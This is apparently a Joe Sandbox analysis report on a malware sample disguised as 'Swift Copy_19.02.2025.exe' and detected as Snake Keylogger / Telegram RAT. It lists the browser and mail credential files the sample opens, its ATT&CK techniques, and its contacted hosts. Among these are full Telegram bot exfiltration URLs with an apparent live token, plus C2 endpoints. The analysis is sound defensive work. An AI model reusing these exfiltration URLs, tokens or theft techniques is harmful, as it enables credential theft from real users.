Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034A42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd521f9ed5b80a<
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	API call chain: ExitProcess graph end node			graph_0-4884
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	API call chain: ExitProcess graph end node			graph_0-4889

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe

Code function: 0_2_00401E49 LdrInitializeThunk,ShowWindow,EnableWindow,

0_2_00401E49

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe

Code function: 0_2_73911B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_73911B5F

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe

Process created: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe "C:\Users\user\Desktop\Swift Copy_19.02.2025.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Queries volume information: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe

Code function: 0_2_00403359 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_00403359

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000006.00000002.4025753098.0000000034871000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 00000006.00000002.4025753098.0000000034A42000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Swift Copy_19.02.2025.exe PID: 3892, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match

File source: Process Memory Space: Swift Copy_19.02.2025.exe PID: 3892, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000006.00000002.4025753098.0000000034871000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 00000006.00000002.4025753098.0000000034A42000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Swift Copy_19.02.2025.exe PID: 3892, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	1 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 System Network Configuration Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	2 File and Directory Discovery	Distributed Component Object Model	1 Clipboard Data	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	215 System Information Discovery	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Swift Copy_19.02.2025.exe	53%	Virustotal		Browse
Swift Copy_19.02.2025.exe	47%	ReversingLabs	Win32.Spyware.Snakekeylogger

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsl778C.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsl778C.tmp\System.dll	0%	Virustotal		Browse

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.186.174	true	false	high
drive.usercontent.google.com	142.250.185.161	true	false	high
reallyfreegeoip.org	104.21.112.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	158.101.44.242	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://api.telegram.org/bot7868872251:AAGgFQ9Bkl4sqj91n2vPKSuoyNLVzJTqODY/sendDocument?chat_id=8173633564&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
http://checkip.dyndns.org/	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:405464%0D%0ADate%20and%20Time:%2021/02/2025%20/%2002:29:43%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20405464%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.office.com/	Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034A17000.00000004.00000800.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034A08000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/chrome_newtab	Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B76000.00000004.00000800.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035891000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B76000.00000004.00000800.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035891000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org	Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034930000.00000004.00000800.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034A42000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B76000.00000004.00000800.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035891000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034A42000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.office.com/lB	Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034A12000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B76000.00000004.00000800.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035891000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	Swift Copy_19.02.2025.exe, 00000006.00000002.4004897772.00000000041BE000.00000004.00000020.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000003.3267061065.00000000041C6000.00000004.00000020.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000003.3267061065.00000000041E7000.00000004.00000020.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000003.3238928257.00000000041E7000.00000004.00000020.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000003.3238928257.00000000041C6000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034871000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B76000.00000004.00000800.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035891000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=en4	Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.00000000349E6000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	Swift Copy_19.02.2025.exe	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=	Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034930000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:405464%0D%0ADate%20a	Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034930000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=en	Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.00000000349E6000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B76000.00000004.00000800.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035891000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot7868872251:AAGgFQ9Bkl4sqj91n2vPKSuoyNLVzJTqODY/sendDocument?chat_id=8173	Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034A42000.00000004.00000800.00020000.00000000.sdmp	false	high
http://varders.kozow.com:8081	Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034871000.00000004.00000800.00020000.00000000.sdmp	false	high
http://aborters.duckdns.org:8081	Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034871000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ac.ecosia.org/autocomplete?q=	Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B76000.00000004.00000800.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035891000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com	Swift Copy_19.02.2025.exe, 00000006.00000003.3231883035.00000000041E7000.00000004.00000020.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000003.3231803379.00000000041E7000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.office.com/4	Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034A17000.00000004.00000800.00020000.00000000.sdmp	false	high
http://51.38.247.67:8081/_send_.php?L	Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034A42000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/	Swift Copy_19.02.2025.exe, 00000006.00000002.4004897772.0000000004158000.00000004.00000020.00020000.00000000.sdmp	false	high
http://anotherarmy.dns.army:8081	Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034871000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B76000.00000004.00000800.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035891000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=enlB	Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.00000000349E1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/8.46.123.189$	Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034930000.00000004.00000800.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.00000000348EB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.00000000348BB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	Swift Copy_19.02.2025.exe, 00000006.00000003.3231883035.00000000041E7000.00000004.00000020.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000003.3231803379.00000000041E7000.00000004.00000020.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034871000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B76000.00000004.00000800.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035891000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/6	Swift Copy_19.02.2025.exe, 00000006.00000002.4004897772.00000000041BE000.00000004.00000020.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000003.3267061065.00000000041E7000.00000004.00000020.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000003.3238928257.00000000041E7000.00000004.00000020.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.00000000348BB000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
104.21.112.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
142.250.185.161	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
142.250.186.174	drive.google.com	United States	15169	GOOGLEUS	false
158.101.44.242	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1620702
Start date and time:	2025-02-21 08:26:48 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Swift Copy_19.02.2025.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/14@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 179 Number of non-executed functions: 129
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 52.149.20.212, 20.12.23.50
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	[ID] Statement of Accounts-XXXXX4250-200220252003060444.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	https://bafybeid2qyaain5ijqkyhqtjgmutfc32e75xzznjglxoe23z6grgqk64ey.ipfs.flk-ipfs.xyz/	Get hash	malicious	HTMLPhisher	Browse
	https://helpdesk-nab.com/	Get hash	malicious	Unknown	Browse
	https://drdonnyru.github.io/List-of-Works/	Get hash	malicious	HTMLPhisher	Browse
	https://ahorrosparati.vercel.app/points/PSE/falabella/index.html	Get hash	malicious	Unknown	Browse
	rAntephialtic.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	rfacturapendiente.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	invoice for payment request.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	remitance copy.exe	Get hash	malicious	AgentTesla	Browse
104.21.112.1	Udeladelsers21.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.tumbetgirislinki.fit/7tw6/
	http://onedrivesharedfiles.sbs/	Get hash	malicious	DarkCloud	Browse	onedrivesharedfiles.sbs/
	PAYMENT SWIFT COPY.exe	Get hash	malicious	FormBook	Browse	www.rbopisalive.cyou/6m32/
	scan_0219025_pdf.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sccc/five/fre.php
	gH68ux6XtG.exe	Get hash	malicious	FormBook	Browse	www.lucynoel6465.shop/jgkl/
	PO from tpc Type 34.1 34,2 35 Spec 1.js	Get hash	malicious	FormBook	Browse	www.lucynoel6465.shop/jgkl/
	SHIPMENT OF THE ORIGINAL DOCUMENTS.exe	Get hash	malicious	FormBook	Browse	www.sv3880.vip/zhdz/
	LLLLLLLLASSSEERRRR.ps1	Get hash	malicious	FormBook	Browse	www.lucynoel6465.shop/jgkl/
	laserl.ps1	Get hash	malicious	FormBook	Browse	www.tumbetgirislinki.fit/k566/?iLy=Wfpx&y2IHp=RARW43WNMKajmHoYlEtIRJLMiezSzeuXvXreCHJ6fEp5jkldk9mcWmm/U2k918FOdcoJ/x5nnQwLxIae2MHe6OYJ2CZYvza1X4jE5qPwznFDfci4lg==
	AGODA COMPANY PTE LTD.exe	Get hash	malicious	FormBook	Browse	www.tumbetgirislinki.fit/ftbq/?FZQ=issILDDGsHFYNfmqjTyaiRCxUP7MBLRR+fLjt4U/PjAATIgmLn5xJ6OEKWMTVCkC8eR6wGGZNe6kNExjC2H5xoO/guvwFBH7lbkJQqoMGH7yD90zbw==&_j=6nA47ZHp
158.101.44.242	rfacturapendiente.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	proforma fatura No. 90273641836.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	checkip.dyndns.org/
	DHl-Global-Documents.js	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	Ziraat_Bankasi_Swift_Messaji.cmd	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	#U94f6#U884c#U8f6c#U8d26#U51ed#U8bc1.vbs	Get hash	malicious	Unknown	Browse	checkip.dyndns.org/
	KAI RUI--Particulars.pdf.scr.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	Request For Quotation.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	VSVy.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Swift Copy_18.02.2025.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	CamScanner02-13-20251913.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	[ID] Statement of Accounts-XXXXX4250-200220252003060444.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	INV76280.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	132.226.247.73
	rAntephialtic.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
